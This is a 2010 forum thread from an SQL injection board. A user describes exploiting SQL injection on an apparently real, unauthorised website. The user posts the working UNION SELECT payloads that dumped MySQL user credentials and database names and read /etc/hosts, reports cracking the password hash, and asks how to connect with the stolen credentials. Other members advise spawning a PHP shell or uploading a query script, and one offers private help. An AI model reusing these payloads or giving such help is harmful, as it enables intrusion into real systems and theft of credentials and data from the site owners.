|
|
|
|
|
|
IT Security and Insecurity Portal |
|
|
Host/mysql inj help!!!!!!!!!!!! |
|
Posted: Sun May 23, 2010 3:26 pm |
|
|
enshtein80 |
Beginner |
|
|
Joined: May 23, 2010 |
Posts: 4 |
|
|
|
|
|
|
|
I've exploited a sql bug from a website..and i was wonderin' what i could do with thes followin'..
Code: | union select 1,user(),2,3,4--+ |
Serveur@192.168.1.60
Code: | union select 1,database(),2,3,4--+ |
Alm
Code: | union select 1,concat(user,0x3e,password),2,3,4 from mysql.user-- |
Serveur>pass
(NOTE:well,I'v decrypted the mysql hash and i got the pass)
Code: | union select 1,concat(db,0x3e,host),2,3,4 from mysql.db-- |
Test>%
Test\_%>%
Caicu>localhost
Alm>localhost
Code: | union select 1,load_file('/etc/hosts'),2,3,4-- |
bd1.site.com
196.20.60.210
So,
1- I have, user+pwd in plaintext and db name, so what can i do with them?...plz need an answer.
2- I was wondering how I could find the HOST of mysql, to connect trought it.."localhost"
thanks.. |
|
|
|
|
|
|
|
|
Posted: Mon May 24, 2010 8:30 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort? |
|
|
|
|
Posted: Mon May 24, 2010 8:51 pm |
|
|
enshtein80 |
Beginner |
|
|
Joined: May 23, 2010 |
Posts: 4 |
|
|
|
|
|
|
|
capt wrote: | well if its localhost you would need some type of shell or SQL shell to connect to it. Also im guessing you already looked through the table_names/columns and didn't find anything? Like an admin login of some sort? |
Thanks for ur..Its mysql 4.x.x version And also I wasnt abel to find the table of admins I tried it manualy ( Brutus forcin'), I just want A solution to connect through MYSQL.. |
|
|
|
|
Posted: Tue May 25, 2010 1:49 am |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
you would have to find a way to spawn some type of PHP shell with a mySQL manager or simply uploading your own SQL query script to connect to the db to spit out some information that your wanting. |
|
|
|
|
Posted: Tue May 25, 2010 2:58 pm |
|
|
delta |
Advanced user |
|
|
Joined: Jan 11, 2009 |
Posts: 60 |
|
|
|
|
|
|
|
If the mysql server allows external connection you can connect directly, without access to the server. |
|
|
|
|
Posted: Tue May 25, 2010 7:59 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
delta wrote: | If the mysql server allows external connection you can connect directly, without access to the server. |
its localhost and rarely any host uses this any more. |
|
|
|
|
Posted: Tue May 25, 2010 9:26 pm |
|
|
enshtein80 |
Beginner |
|
|
Joined: May 23, 2010 |
Posts: 4 |
|
|
|
|
|
|
|
delta wrote: | If the mysql server allows external connection you can connect directly, without access to the server. |
I tried to connect directly ..Using applications that allow mysql connection..And It doesnt work. It seem that I must have an access through..
Quote: | its localhost and rarely any host uses this any more. |
You're right it is a Localhost, must have an access through..for I can connect, If there any ideas ... paste them here please! Arrow |
|
|
|
|
Posted: Wed May 26, 2010 2:46 pm |
|
|
capt |
Advanced user |
|
|
Joined: Nov 04, 2008 |
Posts: 232 |
|
|
|
|
|
|
|
private message me and we can talk there. Or we can use some type of messenger either way works with me if you want help. Your going to have to find a way to get a working shell up or some type of code that will allow you to run some mySQL querys. |
|
|
|
|
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum You cannot reply to topics in this forum You cannot edit your posts in this forum You cannot delete your posts in this forum You cannot vote in polls in this forum
|
All times are GMT
Page 1 of 1
|
|
|
Powered by phpBB © 2001-2008 phpBB Group
|
|
|
|
|